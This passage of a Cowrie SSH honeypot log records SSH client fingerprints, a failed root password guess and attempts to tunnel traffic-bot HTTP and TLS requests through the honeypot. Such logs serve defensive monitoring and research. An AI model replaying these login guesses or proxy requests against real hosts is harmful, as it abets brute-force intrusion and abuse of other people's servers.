a2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:32.790930Z","src_ip":"91.92.40.36","session":"90f10df5973b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:33.734035Z","src_ip":"45.153.34.195","session":"d69766f06e09","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:34.700088Z","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:34.848917Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; SM-J110F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WD5MTj5YeFRETlJ6QnVTZA%3D%3DPURhAW2H18efxHWTfcI%2FJhLMMSW8PeI9C842w14Ui%2BUU%2F28iLj4ZW06vRVCD5%2BUJ5QkVyvnAu1t4hwGjpVEmG6zDg47e%2BLp6zTV0t2Vb5ENXuJ%2Bne1butWFhLH%2FigPw2uNBXXq0ccfejM9J3AFeEXtqIskbDxN%2FZHbPr5MOAYKIcRT4FkQKubSKClUlFSTWO14KdmmK7%2Bc6xoVdiOn5Y9SJ2F31zJKx9%2F%2BC4%2BLf3kwu4LfubQq3FQm1fOghYYjG099jZRVRtcNSww5g%2BfbVcUa2ojVZV1K1%2Bxjutlgi%2BlPV3IR0wCbTNJogKANMFRw1Havj%2BapLtVYqrMzmFIwk3sF5NotKxyErIY60%2B7gim8aRcdIwZm0g0v%2BSynVQ7Sz51qtuOCqEXBovk300G2lGbPKZq34N3CpQVcGmoddUKIj63viE2G8vWER8RTMAV0ZvqHmBzIX61%2BamR%2FJuAkzA8r1fN5gRwRp19QW7F6Cx0vh0EUUKS0ZaLB78k1MK3qermTQhbLxWfibydrejRUu00LLIJo%2FA49ALO2XbpjLaWmPDZCU37XzfjGKkaJqrOXI2Di2HF1j%2F5gsb8CXmBSLRLA6%2BQqvuqtZgbonx9%2Bs2d06vNZBaAmCNp%2FSnq6IOhxRvMcsXdelke8Vr%2Fr7Bgs2SidQveNwsaWJ6KUtJ9p8NELV57ct%2Bk9w%2FvaHrZIATtrhYxxPTirY1xa%2FbZadL%2FzSmo9Amni%2FUla3uFG2RoLKmoeKZrtfzGglx9NpZs%2BTDxf%2BJfhxIJeDy4c1ngs%2BCZoAtCo%2FmFfLPrRUnLuSk%2FyB3xeABgvRZomWXIVt1x7i2K0xOi42PqNya49YHULLLT89%2FQM9Mx1ME16RT0rQ0FtAulqskOGCI9lqC1btBbUsD4MnvFfLp6PEhuma7ddqEvRbpY2ykIpFh%2F4o%2Fgt8e9augiLkXn5Yhmp7%2B0w4LzrHylo8pdWskttXOCy9UECCxRmkFrmCjHD%2FHX9g0WfpCyTc0HUAycAI%2B0O5QWmJge6joHHvTH6Ag2XmILJVIHiTLCKlAsrI7D0QK3C9%2Fcu8QcjxtWOkd3c%2BqLtoAc1LlzdtQjsjpK'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; SM-J110F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WD5MTj5YeFRETlJ6QnVTZA%3D%3DPURhAW2H18efxHWTfcI%2FJhLMMSW8PeI9C842w14Ui%2BUU%2F28iLj4ZW06vRVCD5%2BUJ5QkVyvnAu1t4hwGjpVEmG6zDg47e%2BLp6zTV0t2Vb5ENXuJ%2Bne1butWFhLH%2FigPw2uNBXXq0ccfejM9J3AFeEXtqIskbDxN%2FZHbPr5MOAYKIcRT4FkQKubSKClUlFSTWO14KdmmK7%2Bc6xoVdiOn5Y9SJ2F31zJKx9%2F%2BC4%2BLf3kwu4LfubQq3FQm1fOghYYjG099jZRVRtcNSww5g%2BfbVcUa2ojVZV1K1%2Bxjutlgi%2BlPV3IR0wCbTNJogKANMFRw1Havj%2BapLtVYqrMzmFIwk3sF5NotKxyErIY60%2B7gim8aRcdIwZm0g0v%2BSynVQ7Sz51qtuOCqEXBovk300G2lGbPKZq34N3CpQVcGmoddUKIj63viE2G8vWER8RTMAV0ZvqHmBzIX61%2BamR%2FJuAkzA8r1fN5gRwRp19QW7F6Cx0vh0EUUKS0ZaLB78k1MK3qermTQhbLxWfibydrejRUu00LLIJo%2FA49ALO2XbpjLaWmPDZCU37XzfjGKkaJqrOXI2Di2HF1j%2F5gsb8CXmBSLRLA6%2BQqvuqtZgbonx9%2Bs2d06vNZBaAmCNp%2FSnq6IOhxRvMcsXdelke8Vr%2Fr7Bgs2SidQveNwsaWJ6KUtJ9p8NELV57ct%2Bk9w%2FvaHrZIATtrhYxxPTirY1xa%2FbZadL%2FzSmo9Amni%2FUla3uFG2RoLKmoeKZrtfzGglx9NpZs%2BTDxf%2BJfhxIJeDy4c1ngs%2BCZoAtCo%2FmFfLPrRUnLuSk%2FyB3xeABgvRZomWXIVt1x7i2K0xOi42PqNya49YHULLLT89%2FQM9Mx1ME16RT0rQ0FtAulqskOGCI9lqC1btBbUsD4MnvFfLp6PEhuma7ddqEvRbpY2ykIpFh%2F4o%2Fgt8e9augiLkXn5Yhmp7%2B0w4LzrHylo8pdWskttXOCy9UECCxRmkFrmCjHD%2FHX9g0WfpCyTc0HUAycAI%2B0O5QWmJge6joHHvTH6Ag2XmILJVIHiTLCKlAsrI7D0QK3C9%2Fcu8QcjxtWOkd3c%2BqLtoAc1LlzdtQjsjpK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:34.851673Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.041200Z","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27342,"dst_ip":"159.203.135.109","dst_port":22,"session":"d68027fa7f89","protocol":"ssh","message":"New connection: 91.92.40.36:27342 (159.203.135.109:22) [session: d68027fa7f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.046962Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.099638Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcak\\xd0d\\\\\\x15\\x97\\x10\\xba3\\x89\\xa7e`5\\xf87\\xc9;\\t*\\x1f\\xaa\\x0b\\xe4B\\xba\\xdc\\xc6`Qq \\xc4j\\xf3\\x90\\xf6\\xc4,]%\\xa0\\xdf\\xd4\\x95\\x85#\\xfeI\\xd1L\\x1c2;R\\xac\\x9c(\\xb0\\x05E\\xf0y\\xb0\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 |x/\\xea\\xb5\\x9e)\\xd0\\x0e\\xf2\\xf8\\xd1\\xd1\\xaf\\xd5hG\\xdbL\\xa2\\xce9\\x92\\xdd1\\xb8}\\x80\\x7f\\xd1,\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcak\\xd0d\\\\\\x15\\x97\\x10\\xba3\\x89\\xa7e`5\\xf87\\xc9;\\t*\\x1f\\xaa\\x0b\\xe4B\\xba\\xdc\\xc6`Qq \\xc4j\\xf3\\x90\\xf6\\xc4,]%\\xa0\\xdf\\xd4\\x95\\x85#\\xfeI\\xd1L\\x1c2;R\\xac\\x9c(\\xb0\\x05E\\xf0y\\xb0\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 |x/\\xea\\xb5\\x9e)\\xd0\\x0e\\xf2\\xf8\\xd1\\xd1\\xaf\\xd5hG\\xdbL\\xa2\\xce9\\x92\\xdd1\\xb8}\\x80\\x7f\\xd1,\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.102708Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.166553Z","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53860,"dst_ip":"10.17.0.5","dst_port":22,"session":"57e43ab46858","protocol":"ssh","message":"New connection: 45.153.34.195:53860 (10.17.0.5:22) [session: 57e43ab46858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.176963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.182080Z","src_ip":"45.153.34.195","session":"57e43ab46858","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.229581Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd9\\xbd\\xfaU\\xc14\\x06\\xd0X\\xb1@ \\xb9\\x15<\\xf1\\x17\\x85\\xb1&M\\x0ecY?&c1\\xe1j\\xe4y \\xe5\\xfd\\r\\x1e\\xfel\\x8by/\\xbaUNW\\x1b\\xb7\\xeeN\\xcf!\\xc8]\\x8b\\xb2\\xf8\\x96\\xe8\\xe9\\x8e\\xc9\\x91\\xd3}\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\r\\xdfV\\x16Ic\\xd6=j\\x83\\xc1$\\xef\\x8cY[\\x056\\xe9{-\\x01\\x07\\x808\\xfa<a\\x95\\x9e:_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd9\\xbd\\xfaU\\xc14\\x06\\xd0X\\xb1@ \\xb9\\x15<\\xf1\\x17\\x85\\xb1&M\\x0ecY?&c1\\xe1j\\xe4y \\xe5\\xfd\\r\\x1e\\xfel\\x8by/\\xbaUNW\\x1b\\xb7\\xeeN\\xcf!\\xc8]\\x8b\\xb2\\xf8\\x96\\xe8\\xe9\\x8e\\xc9\\x91\\xd3}\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\r\\xdfV\\x16Ic\\xd6=j\\x83\\xc1$\\xef\\x8cY[\\x056\\xe9{-\\x01\\x07\\x808\\xfa<a\\x95\\x9e:_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.232776Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.264641Z","src_ip":"45.153.34.195","session":"57e43ab46858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:35.511119Z","src_ip":"45.153.34.195","session":"57e43ab46858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:36.513752Z","src_ip":"91.92.40.36","session":"3e771f899aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:36.596240Z","src_ip":"45.153.34.195","session":"57e43ab46858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:37.785244Z","src_ip":"23.175.50.52","session":"73caaf76b81f","protocol":"ssh"}
